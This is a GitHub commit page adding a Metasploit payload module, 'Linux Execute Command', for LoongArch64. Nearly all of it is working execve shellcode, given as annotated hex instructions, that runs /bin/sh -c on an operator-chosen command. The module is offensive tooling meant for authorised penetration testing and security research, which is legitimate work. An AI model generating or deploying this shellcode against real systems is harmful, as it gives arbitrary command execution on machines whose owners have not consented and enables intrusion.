Skip to content

Commit f6c14ef

Browse files
committed
Add Linux LoongArch64 execute command payload
1 parent aee4762 commit f6c14ef

File tree

1 file changed

+75
-0
lines changed
  • modules/payloads/singles/linux/loongarch64

1 file changed

+75
-0
lines changed
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
# frozen_string_literal: true
2+
3+
##
4+
# This module requires Metasploit: https://metasploit.com/download
5+
# Current source: https://github.com/rapid7/metasploit-framework
6+
##
7+
8+
module MetasploitModule
9+
CachedSize = 84
10+
11+
include Msf::Payload::Single
12+
include Msf::Payload::Linux
13+
14+
def initialize(info = {})
15+
super(
16+
merge_info(
17+
info,
18+
'Name' => 'Linux Execute Command',
19+
'Description' => 'Execute an arbitrary command.',
20+
'Author' => [
21+
'modexp', # cmd.s execve RISC-V 64-bit shellcode
22+
'bcoles', # LoongArch64 port and metasploit module
23+
],
24+
'License' => BSD_LICENSE,
25+
'Platform' => 'linux',
26+
'Arch' => ARCH_LOONGARCH64,
27+
'References' => [
28+
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
29+
['URL', 'https://github.com/bcoles/shellcode/blob/main/loongarch64/cmd/cmd.s'],
30+
]
31+
)
32+
)
33+
register_options([
34+
OptString.new('CMD', [ true, 'The command string to execute' ]),
35+
])
36+
end
37+
38+
#
39+
# Returns the command string to use for execution
40+
#
41+
def command_string
42+
datastore['CMD'] || ''
43+
end
44+
45+
def generate(_opts = {})
46+
shellcode = [
47+
0x02ff0063, # addi.d $sp, $sp, -64
48+
0x0383740b, # ori $a7, $zero, 221 # __NR_execve
49+
0x14dcd2c4, # lu12i.w $a0, 452246
50+
0x0388bc84, # ori $a0, $a0, 0x22f
51+
0x170e65e4, # lu32i.d $a0, -494801
52+
0x03001884, # lu52i.d $a0, $a0, 6 # $a0 = 0x0068732f6e69622f = "/bin/sh\0"
53+
0x29c00064, # st.d $a0, $sp, 0 # store "/bin/sh\0" on the stack
54+
0x00150064, # or $a0, $sp, $zero # $a0 = pointer to "/bin/sh"
55+
0x140000c5, # lu12i.w $a1, 6
56+
0x038cb4a5, # ori $a1,$a1, 0x32d # $a1 = 0x632d = "-c\0"
57+
0x29c02065, # st.d $a1, $sp, 8 # store "-c\0" on the stack
58+
0x02c02065, # addi.d $a1, $sp, 8 # $a1 = pointer to "-c"
59+
0x18000106, # pcaddi $a2, 8 # $a2 = pointer to cmd string
60+
0x29c04064, # st.d $a0, $sp, 16 # argv[0] = "/bin/sh"
61+
0x29c06065, # st.d $a1, $sp, 24 # argv[1] = "-c"
62+
0x29c08066, # st.d $a2, $sp, 32 # argv[2] = cmd
63+
0x29c0a060, # st.d $zero, $sp, 40 # argv[3] = NULL
64+
0x02c04065, # addi.d $a1, $sp, 16 # $a1 = argv
65+
0x00150006, # or $a2, $zero, $zero # $a2 = NULL (envp)
66+
0x002b0101, # syscall 0x101
67+
].pack('V*')
68+
shellcode += command_string + "\x00"
69+
70+
# align our shellcode to 4 bytes
71+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
72+
73+
super.to_s + shellcode
74+
end
75+
end

0 commit comments

Comments
 (0)